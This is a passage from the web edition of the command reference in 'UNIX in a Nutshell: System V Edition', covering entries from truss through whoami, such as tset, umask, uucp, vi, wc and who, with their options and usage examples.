List sleeping system calls only once, upon completion.

-m[!]faults

Trace [exclude from trace] the list of machine faults. faults are names or numbers, as listed in <sys/fault.h> (default is -mall -m!fltpage).

-o outfile

Send trace output to outfile, not standard error.

-p

Trace one or more process IDs instead of a command.

-r[!]file_descriptors

Display [don't display] the I/O buffer of read system calls for file_descriptors (default is -r!all).

-s[!]signals

Trace [exclude from trace] the list of signals. signals are names or numbers, as listed in <sys/signal.h> (default is -sall).

-t[!]system_calls

Trace [exclude from trace] the list of system_calls. system_calls are names or numbers, as listed in Section 2, "System Calls," of the UNIX Programmer's Reference Manual (default is -tall).

-v[!]system_calls

Verbose mode. Same as -t, but list also the contents of any structures passed to system_calls (default is -v!all).

-w[!]file_descriptors

Display [don't display] the I/O buffer of write system calls for file_descriptors (default is -w!all).

-x[!]system_calls

Same as -t, but display the system call arguments as raw code (hexadecimal) (default is -x!all).

Examples

Trace system calls open and close for lp command:

truss -t open,close lp files > truss.out

Trace the make command, including its child processes, and store the output in make.trace:

truss -f -o make.trace make target

Previous: Reference: true | UNIX in a Nutshell: System V Edition | Next: Reference: tset
Reference: true | Book Index | Reference: tset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tset

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: truss Chapter 2
UNIX Commands 		Next: Reference: tsort

tset

/usr/ucb/tset [options] [type]

Set terminal modes. Without arguments, the terminal is reinitialized according to the TERM environment variable. tset is typically used in startup scripts (.profile or .login). type is the terminal type; if preceded by a ?, tset prompts the user to enter a different type, if needed. Press RETURN to use the default value, type. See also reset.

Options

-

Print terminal name on standard output; useful for passing this value to TERM.

-ec

Set erase character to c; default is ^H (backspace).

-ic

Set interrupt character to c (default is ^C).

-I

Do not output terminal initialization setting.

-k c

Set line-kill character to c (default is ^U).

-m[port[baudrate]:tty]

Declare terminal specifications. port is the port type (usually dialup or plugboard). tty is the terminal type; it can be preceded by ? as above. baudrate checks the port speed and can be preceded by any of these characters:

>

Port must be greater than baudrate.

<

Port must be less than baudrate.

@

Port must transmit at baudrate.

!

Negate a subsequent >, <, or @ character.

-n

Initialize new tty driver modes. Useless because of redundancy with stty new.

-Q

Do not print "Erase set to" and "Kill set to" messages.

-r

Report the terminal type.

-s

Return the values of TERM assignments to shell environment. This is a commonly done via eval \`tset -s\` (in the C shell, you would surround this with the commands set noglob and unset noglob).

Examples

Set TERM to wy50:

eval `tset -s wy50`

Prompt user for terminal type (default will be vt100):

eval `tset -Qs -m '?vt100'`

Similar to above, but the baudrate must exceed 1200:

eval `tset -Qs -m '>1200:?xterm'`

Set terminal via modem; the ?$TERM checks that the terminal type is set (C shell only):

eval `tset -s -m dialup:'?vt100' "?$TERM"`

Previous: Reference: truss | UNIX in a Nutshell: System V Edition | Next: Reference: tsort
Reference: truss | Book Index | Reference: tsort
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tsort

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tset Chapter 2
UNIX Commands 		Next: Reference: tty

tsort

tsort [file]

Perform a topological sort on file. Typically used to reorganize an archive library for more efficient handling by ar or ld. Not very useful.

Example

Find the ordering relationship of all object files, and sort them for access by ld:

lorder *.o | tsort

Previous: Reference: tset | UNIX in a Nutshell: System V Edition | Next: Reference: tty
Reference: tset | Book Index | Reference: tty
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tty

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tsort Chapter 2
UNIX Commands 		Next: Reference: umask

tty

tty [options]

Print the device name of your terminal. This is useful for shell scripts and often for commands that need device information.

Options

-l

Print the synchronous line number.

-s

Return only the codes: 0 (a terminal), 1 (not a terminal), 2 (invalid options used).

Previous: Reference: tsort | UNIX in a Nutshell: System V Edition | Next: Reference: umask
Reference: tsort | Book Index | Reference: umask
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: umask

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tty Chapter 2
UNIX Commands 		Next: Reference: uname

umask

umask [value]

Print the current value of the file creation mode mask, or set it to value, a three-digit octal code specifying the read-write-execute permissions to be turned off. This is the opposite of chmod. Usually used in .login or .profile. umask is available as a built-in command in the Bourne and C shells (see Sections 4 and 5).

umask Number | File Permission | Directory Permission
0 | rw- | rwx
1 | rw- | rw-
2 | r-- | r-x
3 | r-- | r--
4 | -w- | -wx
5 | -w- | -w-
6 | -- | -x
7 | -- | --

Examples

Turn off write permission for others:

umask 002	Produces file permission -rw-rw-r-

Turn off all permissions for group and others:

umask 077	Produces file permission -rw----

Note that you can omit leading zeroes.

Previous: Reference: tty | UNIX in a Nutshell: System V Edition | Next: Reference: uname
Reference: tty | Book Index | Reference: uname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uname

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: umask Chapter 2
UNIX Commands 		Next: Reference: uncompress

uname

uname [options]

Print the current UNIX system name.

Options

-a

Report all of the following information:

-m

The hardware name.

-n

The node name (the default).

-p

The host's processor type.

-r

The operating system release.

-s

The system name.

-v

The operating system version.

Previous: Reference: umask | UNIX in a Nutshell: System V Edition | Next: Reference: uncompress
Reference: umask | Book Index | Reference: uncompress
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uncompress

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uname Chapter 2
UNIX Commands 		Next: Reference: unget

uncompress

uncompress [option] [files]

Restore the original file compressed by compress. The .Z extension is implied, so it can be omitted when specifying files.

Option

-c

Same as zcat (write to standard output without changing files).

Previous: Reference: uname | UNIX in a Nutshell: System V Edition | Next: Reference: unget
Reference: uname | Book Index | Reference: unget
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unget

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uncompress Chapter 2
UNIX Commands 		Next: Reference: uniq

unget

unget [options] files

An SCCS command. See Section 17.

Previous: Reference: uncompress | UNIX in a Nutshell: System V Edition | Next: Reference: uniq
Reference: uncompress | Book Index | Reference: uniq
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uniq

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unget Chapter 2
UNIX Commands 		Next: Reference: units

uniq

uniq [options] [file1 [file2]]

Remove duplicate adjacent lines from sorted file1, sending one copy of each line to file2 (or to standard output). Often used as a filter. Specify only one of -c, -d, or -u. See also comm and sort.

Options

-c

Print each line once, counting instances of each.

-d

Print duplicate lines once, but no unique lines.

-u

Print only unique lines (no copy of duplicate entries is kept).

-n

Ignore first n fields of a line. Fields are separated by spaces or by tabs.

+n

Ignore first n characters of a field.

Examples

Send one copy of each line from list to output file list.new:

uniq list list.new

Show which names appear more than once:

sort names | uniq -d

Show which lines appear exactly three times:

sort names | uniq -c | grep "3 "

Previous: Reference: unget | UNIX in a Nutshell: System V Edition | Next: Reference: units
Reference: unget | Book Index | Reference: units
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: units

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uniq Chapter 2
UNIX Commands 		Next: Reference: unpack

units

units

Interactively supply a formula to convert a number from one unit to another. The file /usr/lib/units gives a complete list of the units. Use EOF to exit.

Previous: Reference: uniq | UNIX in a Nutshell: System V Edition | Next: Reference: unpack
Reference: uniq | Book Index | Reference: unpack
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unpack

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: units Chapter 2
UNIX Commands 		Next: Reference: uptime

unpack

unpack files

Expand one or more files, created with pack, to their original form. See pcat and pack.

Previous: Reference: units | UNIX in a Nutshell: System V Edition | Next: Reference: uptime
Reference: units | Book Index | Reference: uptime
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uptime

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unpack Chapter 2
UNIX Commands 		Next: Reference: users

uptime

/usr/ucb/uptime

Print the current time, amount of time logged in, number of users logged in, and the system load averages. This output is also produced by the first line of the w command.

Previous: Reference: unpack | UNIX in a Nutshell: System V Edition | Next: Reference: users
Reference: unpack | Book Index | Reference: users
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: users

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uptime Chapter 2
UNIX Commands 		Next: Reference: uucp

users

/usr/ucb/users [file]

Display the currently logged-in users as a space-separated list. Same as who -q. Information is read from a system file (default is /var/adm/utmp).

Previous: Reference: uptime | UNIX in a Nutshell: System V Edition | Next: Reference: uucp
Reference: uptime | Book Index | Reference: uucp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uucp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: users Chapter 2
UNIX Commands 		Next: Reference: uudecode

uucp

uucp [options] [source!]file [destination!]file

Copy a file (or group of files) from the source to the destination. The source and destination can be remote systems. The destination file can be a directory.

Options

-c

Do not copy files to the spool directory (the default).

-C

Copy files to the spool directory for transfer.

-d

Make directories for the copy when they don't exist (the default).

-f

Do not make directories when they don't exist.

-gx

Set grade (priority) of job. x is typically a single letter or digit, where a and 1 give the highest transfer priority. Use uuglist to show values for x.

-j

Print the uucp job number.

-m

When copy is complete, send mail to person who issued uucp command.

-nuser

When copy is complete, send mail to user.

-r

Queue job, but don't start transfer program (uucico).

-sfile

Send transfer status to file (a full pathname); overrides -m.

-xn

Debug at level n (0-9); higher numbers give more output.

Example

This shell script sends a compressed file to system orca:

cat send_it
compress $1
uucp -C -n$2 -m $1.Z orca\!/usr/spool/uucppublic
uncompress $1

With -C, the transfer is made on a copy in the spool directory. (Normally, uucp gets the file from its original location, so you couldn't rename it or uncompress it until the call goes through.) The script also notifies sender and recipient when the transfer finishes. Here's a sample run:

send_it chapter1 bob

Previous: Reference: users | UNIX in a Nutshell: System V Edition | Next: Reference: uudecode
Reference: users | Book Index | Reference: uudecode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uudecode

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uucp Chapter 2
UNIX Commands 		Next: Reference: uuencode

uudecode

uudecode [file]

Read a uuencoded file and recreate the original file with the same mode and name (see uuencode).

Previous: Reference: uucp | UNIX in a Nutshell: System V Edition | Next: Reference: uuencode
Reference: uucp | Book Index | Reference: uuencode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uuencode

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uudecode Chapter 2
UNIX Commands 		Next: Reference: uuglist

uuencode

uuencode [file] name | mail remotesys!usr

Convert a binary file to a form which can be sent to usr via mail. The encoding uses only printing ASCII characters and includes the mode and name of the file. When file is reconverted via uudecode on the remote system, output will be sent to name. (Therefore, when saving the encoded mail message to a file on the remote system, don't store it in a file called name or you'll overwrite it!) Note that uuencode can take standard input, so a single argument will be taken as the name to be given to the file when it is decoded.

Previous: Reference: uudecode | UNIX in a Nutshell: System V Edition | Next: Reference: uuglist
Reference: uudecode | Book Index | Reference: uuglist
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uuglist

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uuencode Chapter 2
UNIX Commands 		Next: Reference: uulog

uuglist

uuglist [option]

List all service grades available for use with the -g option of uux and uucp. Service grades define the priority of data transferral; they are typically expressed as single characters or as a string.

Option

-u

List grades available to the current user.

Previous: Reference: uuencode | UNIX in a Nutshell: System V Edition | Next: Reference: uulog
Reference: uuencode | Book Index | Reference: uulog
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uulog

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uuglist Chapter 2
UNIX Commands 		Next: Reference: uuname

uulog

uulog [options]

Print information from the uucp or uuxqt log files, which reside in /var/uucp/.Log (down subdirectories uucico or uuxqt). See also tail.

Options

-fsys

Issue a tail -f to print the most recent actions for a given system.

-ssys

Print all actions for the given system.

-uuser

Print commands issued by user (SVR3 only).

-x

Check the uuxqt log file for the given system (used with -f or -s).

-n

Execute a tail command of n lines (used with -f).

Previous: Reference: uuglist | UNIX in a Nutshell: System V Edition | Next: Reference: uuname
Reference: uuglist | Book Index | Reference: uuname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uuname

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uulog Chapter 2
UNIX Commands 		Next: Reference: uupick

uuname

uuname [options]

Print the names of systems uucp knows about.

Options

-c

Print system names known to cu (usually the same).

-l

Print the local system's node name.

Previous: Reference: uulog | UNIX in a Nutshell: System V Edition | Next: Reference: uupick
Reference: uulog | Book Index | Reference: uupick
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uupick

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uuname Chapter 2
UNIX Commands 		Next: Reference: uustat

uupick

uupick [option]

Query the status of files sent to the user with uuto.

Option

-ssystem

Search only for files sent from system.

Interactive responses

a[dir]

Move all files sent from system to the named directory.

d

Delete the entry.

m[dir]

Move the file to the directory dir.

p

Print the file.

q

Quit uupick.

*

Print a command summary.

!cmd

Execute the shell command cmd.

EOF

Quit uupick.

RETURN

Move to next entry.

Previous: Reference: uuname | UNIX in a Nutshell: System V Edition | Next: Reference: uustat
Reference: uuname | Book Index | Reference: uustat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uustat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uupick Chapter 2
UNIX Commands 		Next: Reference: uuto

uustat

uustat [options]

Provide information about uucp requests. This command can also be used to cancel uucp requests. Options -a, -j, -k, -m, -p, -q, and -r cannot be used with each other.

Options

-a

Report all queued jobs.

-c

When used with -t, report average time spent on queue instead of average transfer rate.

-dn

When used with -t, report averages for past n minutes instead of past hour.

-j

Report the total number of jobs displayed (use only with -a or -s).

-kn

Kill job request n; you must own it.

-m

Report accessibility of other systems.

-n

Suppress standard output but not standard error.

-p

Execute a ps -flp on active processes.

-q

Report the jobs queued for all systems.

-rn

Renew job n by issuing a touch on its associated files.

-ssystem

Report the status of jobs for system.

-Sx

Report status for jobs of type x:

c

Completed jobs

i

Interrupted jobs

q

Queued jobs

r

Running jobs

-tsystem

Report system's average transfer rate (in bytes per second) over the past hour.

-uuser

Report the status of jobs for user.

Previous: Reference: uupick | UNIX in a Nutshell: System V Edition | Next: Reference: uuto
Reference: uupick | Book Index | Reference: uuto
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uuto

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uustat Chapter 2
UNIX Commands 		Next: Reference: uux

uuto

uuto [options] sourcefiles destination

Send source files to a destination, where destination is of the form system!user. The user on the destination system can pick up the files with uupick.

Options

-m

Send mail when the copy is complete.

-p

Copy files to the spool directory.

Previous: Reference: uustat | UNIX in a Nutshell: System V Edition | Next: Reference: uux
Reference: uustat | Book Index | Reference: uux
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: uux

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uuto Chapter 2
UNIX Commands 		Next: Reference: vacation

uux

uux [options] [[sys]!command]

Gather files from various systems and execute command on the specified machine sys. uux also recognizes the uucp options -c, -C, -g, -r, -s, and -x.

Options

-

Same as -p (pass standard input to command).

-auser

Notify user upon completion (see -z).

-b

Print the standard input when the exit status indicates an error.

-j

Print the uux job number.

-n

Do not send mail if command fails.

-p

Pass the standard input to command.

-z

Notify invoking user upon successful completion.

Previous: Reference: uuto | UNIX in a Nutshell: System V Edition | Next: Reference: vacation
Reference: uuto | Book Index | Reference: vacation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: vacation

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: uux Chapter 2
UNIX Commands 		Next: Reference: val

vacation

vacation [options]

Automatically return a mail message to sender announcing that you are on vacation. To disable this feature, type mail -F "".

Options

-d

Append the date to logfile.

-F user

Forward mail to user when unable to send mail to mailfile.

-l logfile

Record in logfile the names of senders who received an automated reply (default is $HOME/.maillog).

-m mailfile

Save received messages in mailfile (default is $HOME/.mailfile).

-M msg_file

Use msg_file as the reply to mail automatically (default is /usr/lib/mail/std_vac_msg).

Previous: Reference: uux | UNIX in a Nutshell: System V Edition | Next: Reference: val
Reference: uux | Book Index | Reference: val
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: val

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: vacation Chapter 2
UNIX Commands 		Next: Reference: vc

val

val [options] file...

An SCCS command. See Section 17.

Previous: Reference: vacation | UNIX in a Nutshell: System V Edition | Next: Reference: vc
Reference: vacation | Book Index | Reference: vc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: vc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: val Chapter 2
UNIX Commands 		Next: Reference: vedit

vc

vc [options] [keyword=value ...]

Copy lines from standard input to standard output under control of the vc keywords and arguments within the standard input. This command is obsolete.

Options

-a

Replace control keywords in all lines, including text lines.

-ck

Use k instead of : as the control character.

-s

Suppress warning messages.

-t

If any control characters are found before the first tab in the file, remove all characters up to the first tab.

Previous: Reference: val | UNIX in a Nutshell: System V Edition | Next: Reference: vedit
Reference: val | Book Index | Reference: vedit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: vedit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: vc Chapter 2
UNIX Commands 		Next: Reference: vi

vedit

vedit [options] [files]

Same as running vi, but with the showmode and novice flags set, the report flag set to 1, and magic turned off (metacharacters have no special meaning). Intended for beginners.

Previous: Reference: vc | UNIX in a Nutshell: System V Edition | Next: Reference: vi
Reference: vc | Book Index | Reference: vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: vi

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: vedit Chapter 2
UNIX Commands 		Next: Reference: view

vi

vi [options] [files]

A screen-oriented text editor based on ex. See Sections 8 and 9 for more information on vi and ex. Options -c, -C, -L, -r, -R, and -t are the same as in ex.

Options

-ccommand

Enter vi and execute the given vi command.

-l

Run in LISP mode for editing LISP programs.

-L

List filenames that were saved due to an editor or system crash.

-rfile

Recover and edit file after an editor or system crash.

-R

Read-only mode. Files can't be changed.

-t tag

Edit the file containing tag, and position the editor at its definition (see ctags for more information).

-wn

Set default window size to n; useful when editing via a slow dial-up line.

-x

Supply a key to encrypt or decrypt file using crypt.

-C

Same as -x but assume file began in encrypted form.

+

Start vi on last line of file.

+n

Start vi on line n of file.

+/pat

Start vi on line containing pattern pat. This option fails if nowrapscan is set in your .exrc.

Previous: Reference: vedit | UNIX in a Nutshell: System V Edition | Next: Reference: view
Reference: vedit | Book Index | Reference: view
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: view

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: vi Chapter 2
UNIX Commands 		Next: Reference: w

view

view [options] [files]

Same as vi -R.

Previous: Reference: vi | UNIX in a Nutshell: System V Edition | Next: Reference: w
Reference: vi | Book Index | Reference: w
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: w

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: view Chapter 2
UNIX Commands 		Next: Reference: wait

w

/usr/ucb/w [options] [user]

Print summaries of system usage, currently logged-in users, and what they are doing. w is essentially a combination of uptime, who, and ps -a. Display output for one user by specifying user.

Options

-h

Suppress headings and uptime information.

-l

Display in long format (the default).

-s

Display in short format.

Previous: Reference: view | UNIX in a Nutshell: System V Edition | Next: Reference: wait
Reference: view | Book Index | Reference: wait
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: wait

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: w Chapter 2
UNIX Commands 		Next: Reference: wall

wait

wait [n]

Wait for all background processes to complete, and report their termination status. Used in shell scripts. If n is specified, wait only for the process with process ID n.

Previous: Reference: w | UNIX in a Nutshell: System V Edition | Next: Reference: wall
Reference: w | Book Index | Reference: wall
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: wall

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: wait Chapter 2
UNIX Commands 		Next: Reference: wc

wall

wall
message

Send a message to all users. End message with EOF. This is typically used by a privileged user to inform users of a system shutdown.

Previous: Reference: wait | UNIX in a Nutshell: System V Edition | Next: Reference: wc
Reference: wait | Book Index | Reference: wc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: wc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: wall Chapter 2
UNIX Commands 		Next: Reference: what

wc

wc [options] [files]

Print a character, word, and line count for files. If no files are given, read standard input. See other examples under ls and sort.

Options

-c

Print character count only.

-l

Print line count only.

-w

Print word count only.

Examples

Count the number of users logged in:

who | wc -l

Count the words in three essay files:

wc -w essay.[123]

Count lines in variable $file (don't display filename):

wc -l <$file

Previous: Reference: wall | UNIX in a Nutshell: System V Edition | Next: Reference: what
Reference: wall | Book Index | Reference: what
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: what

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: wc Chapter 2
UNIX Commands 		Next: Reference: whatis

what

what [option] files

An SCCS command. See Section 17.

Previous: Reference: wc | UNIX in a Nutshell: System V Edition | Next: Reference: whatis
Reference: wc | Book Index | Reference: whatis
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: whatis

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: what Chapter 2
UNIX Commands 		Next: Reference: which

whatis

/usr/ucb/whatis commands

Look up one or more commands in the on-line manual pages, and display a brief description. Same as man -f. See also apropos.

Previous: Reference: what | UNIX in a Nutshell: System V Edition | Next: Reference: which
Reference: what | Book Index | Reference: which
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: which

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: whatis Chapter 2
UNIX Commands 		Next: Reference: who

which

/usr/ucb/which [commands]

List which files would be executed if the named commands had been run as a command. which reads the user's .cshrc file, checking aliases and searching the path variable. Users of the Bourne or Korn shells can use the built-in type command as an alternative.

Example

which cc ls
/usr/ucb/cc
ls:      aliased to ls -sFC

Previous: Reference: whatis | UNIX in a Nutshell: System V Edition | Next: Reference: who
Reference: whatis | Book Index | Reference: who
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: who

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: which Chapter 2
UNIX Commands 		Next: Reference: whoami

who

who [options] [file]

Display information about the current status of the system. With no options, list the names of users currently logged in to the system. An optional system file (default is /var/adm/utmp) can be supplied to give additional information. who is usually invoked without options, but useful options include am I and -u. For more examples, see cut, line, paste, tee, and wc.

Options

-a

Use all options.

-b

Report information about the last reboot.

-d

Report expired processes.

-H

Print headings.

-l

Report inactive terminal lines.

-nx

Display x users per line (works only with -q).

-p

Report previously spawned processes.

-q

"Quick." Display only the usernames.

-r

Report the run level.

-s

List the name, line, and time fields (the default behavior).

-t

Report the last change of the system clock (via date).

-T

Report whether terminals are writable (+), not writable (-), or unknown (?).

-u

Report terminal usage (idle time). A dot (.) means less than one minute idle; old means more than 24 hours idle.

am i

Print the username of the invoking user.

Example

This sample output was produced at 8 a.m. on April 17:

who -uH
NAME    LINE   TIME         IDLE   PID  COMMENTS
martha  ttyp3  Apr 16 08:14 16:25  2240
george  ttyp0  Apr 17 07:33   .   15182

Since martha has been idle since yesterday afternoon (16 hours), it appears that Martha isn't at work yet. She simply left herself logged in. George's terminal is currently in use.

Previous: Reference: which | UNIX in a Nutshell: System V Edition | Next: Reference: whoami
Reference: which | Book Index | Reference: whoami
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: whoami

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: who Chapter 2
UNIX Commands 		Next: Reference: whois

whoami

/usr/ucb/whoami

Print the effective username. This is usually the same as the standard SVR4 command logname. However, when you're running an su session as another user, whoami displays this user's name, but logname still displays your name.

Previous: Reference: who | UNIX in a Nutshell: System V Edition | Next: Reference: whois
Reference: who | Book Index | Reference: whois
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: whois

UNIX in a Nutshell: System V Edition

